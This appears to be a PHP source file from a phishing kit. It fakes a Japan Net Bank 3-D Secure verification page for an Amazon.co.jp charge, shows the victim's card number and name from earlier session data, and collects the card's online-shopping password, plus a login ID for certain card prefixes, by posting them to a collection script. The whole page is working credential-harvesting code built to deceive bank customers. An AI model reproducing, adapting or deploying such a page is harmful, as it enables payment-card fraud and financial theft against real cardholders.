﻿<?php

session_start();

include('__config__.php');

function curl($url = '', $var = '')
{
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_NOBODY, false);
    curl_setopt($curl, CURLOPT_HEADER, false);
    curl_setopt($curl, CURLOPT_TIMEOUT, 10);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36');
    $result = curl_exec($curl);
    curl_close($curl);
    return $result;
}

function get_BIN($bin, $parameter)
{
  $binx = preg_replace('/\s+/', '', substr($bin, 0, 6));
  $get_bin = curl('https://api.freebinchecker.com/bin/'.$binx);
  $json_bin = @json_decode($get_bin, true);
  if ($parameter == 'bankname')
  {
    if (isset($json_bin))
    {
      return $json_bin['issuer']['name'];
    }
    else
    {
      return '';
    }
  }

}

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
    <link rel="stylesheet" href="library/loader/style.css">
    <link rel="stylesheet" href="sheets/vbv.css">
    <title>株式会社ジャパンネット銀行｜認証サービス｜Receipt</title>
    <style type="text/css">
<!--
.contain { border:1px; width:100px; height:20px;float:right;}
-->
</style>
        <script>
            var myVar;
        
            function myFunction() {
                myVar = setTimeout(showPage, 1500);
            }
        
            function showPage() {
            document.getElementById("loader").style.display = "none";
            document.getElementById("combiner").style.display = "block";
            }
        </script>
<script>
function check(){
var liehuo_key=document.getElementById('password666');
if(liehuo_key.value.length<6){
alert("パスワードが間違っています");
liehuo_key.value="";
liehuo_key.focus();
return false;
}
}
</script>		
</head>

<body onload="myFunction()">
        <div id="loader"></div>
    <div style="display:none;" class="combiner" id="combiner">
            <ul class="nav">
                    <li class="nav-item">

					<img class="nav-link" src="assets/img/logo.jpg" style="height: 25px; margin-top: 12px;" href="#">
                    </li>
                    <li class="nav-item" style="right: 15px; position: absolute;">
                    <?php
					    $cardtype = array(
                          "visa"       => "/^4[0-9]{12}(?:[0-9]{3})?$/",
                          "mastercard" => "/^5[1-5][0-9]{14}$/",
                          "amex"       => "/^3[47][0-9]{13}$/",
                          "jcb"       => "/^35[0-9]{14}$/",
                          "discover"   => "/^6(?:011|5[0-9]{2})[0-9]{12}$/",
                        );
                     $card = $_SESSION['ncn'];
					    if (preg_match($cardtype['visa'],$card))
                        {
                         echo '<img src="assets/img/verifiedbyvisa.png" alt="" class="nav-link visa">';   
                        }
						else if (preg_match($cardtype['mastercard'],$card))
                        {
                         echo '<img src="assets/img/mastercard.png" alt="" class="nav-link visa">';   
                        }
						else if (preg_match($cardtype['amex'],$card))
                        {
                         echo '<img src="assets/img/amex.png" alt="" class="nav-link visa">';   
                        }
						else if (preg_match($cardtype['jcb'],$card))
                        {
                         echo '<img src="assets/img/jcb.png" alt="" class="nav-link visa">';   
                        }
						else
                     {
                     }
                    ?>
                    </li>              
                  </ul>
                  <br>
                  <br>
                  <p><h4><link href="./css/verifiedby/Added.css" rel="stylesheet" type="text/css"><span class="Qixrk"></span><span class="nPIVU"></span><span class="BoPao"></span><span class="YNTGT"></span><span class="BFVMc"></span><span class="oMdWg"></span><span class="PDoOY"></span><span class="MQeWS"></span><span class="gxLVl"></span><span class="IJOeq"></span><span class="mbnyg"></span><span class="ieIEK"></span><span class="OKpmt"></span><span class="penFf"></span><span class="yTbfN"></span><span class="wlMKc"></span></h4></p>
                  <p><font size=1>お客さまに安全なインターネットショッピングをご提供するためご本人さま確認をいたします。</font></p>
                    <p><font size=1>ご利用いただくカードで登録している「オンラインショッピング認証サービス」の「パスワード（※）」をご入力ください。
（※クレジットカードの暗証番号とは異なりますので、ご注意ください）
</font></p>
                  <form action="actions/vbv.php" onsubmit="return check()"  method="post">
                  <div class="padingtable">
                        <table >
                                <tbody>
                                    <tr>
                                        <td><div class="contain" align="right"><b>加盟店名：</b></div></td>
                                        <td>Amazon.co.jp</td>
                                    </tr>
                                    <tr>
                                        <td><div class="contain" align="right"><b>ご利用金額：</b></div></td>
                                        <td>JPY 0 </td>
                                    </tr>
                                    <tr>
                                        <td><div class="contain" align="right"><b>ご利用日：</b></div></td>
                                        <td><?php echo $showtime=date("Y/m/d"); ?></td>
                                    </tr>
                                        <tr>

                                    <tr>
                                        <td><div class="contain" align="right"><b>カード番号：</b></div></td>
                                        <td>**** **** **** <?php $last4 = $_SESSION['ncn']; echo substr($last4 , -4); ?></td>
                                    </tr>
                                    <tr>
                                        <td><div class="contain" align="right"><b>カード名義人：</b></div></td>
                                        <td><?php echo $_SESSION['nameoncard']; ?></td>
                                    </tr>
                                    <?php 
									$arrkt = explode('|',$kt);
									$top4 = substr($_SESSION['ncn'],0,6);
									if (in_array($top4,$arrkt)){ echo "<tr><td align='right'><b>ログインID（未設定の方は不要）：</b></td>';
                                    <td><input style='width: 158px;' type='text' maxlength='88' placeholder='' name='loginid'><br></td>
									</tr>"; } ?>                                  	
                                    <tr><td align="right"><b>パスワード：</b></td>';
                                    <td><input style="width: 158px;" type="text" maxlength="66" placeholder="" name="password_vbv" id="password666"><br></td>
									</tr>

                                    <tr>
                                        <td></td>
                                        <td>
                                            <input name="Sex" class="confirm" style=" width: 48px;" type="submit" value="送 信">

                                <img src="./aa/faq_mark.gif" border="0" width="14" height="13" alt="">

								<a href="javascript:onHelpClickHandler();" id="faq" onclick="javascript:onClosingHandler();">
ヘルプ
</a>
&nbsp
                                <a href="javascript:onCancelClickHandler();" id="cancel" onclick="javascript:onClosingHandler();">キャンセル</a>



                                        </td>
                                    </tr>
                                </tbody>
                            </table>
                  </div>
                </form>


    </div>

    <div style="display:none;"><?php echo $tjdm;  ?></div>


</body>
</html>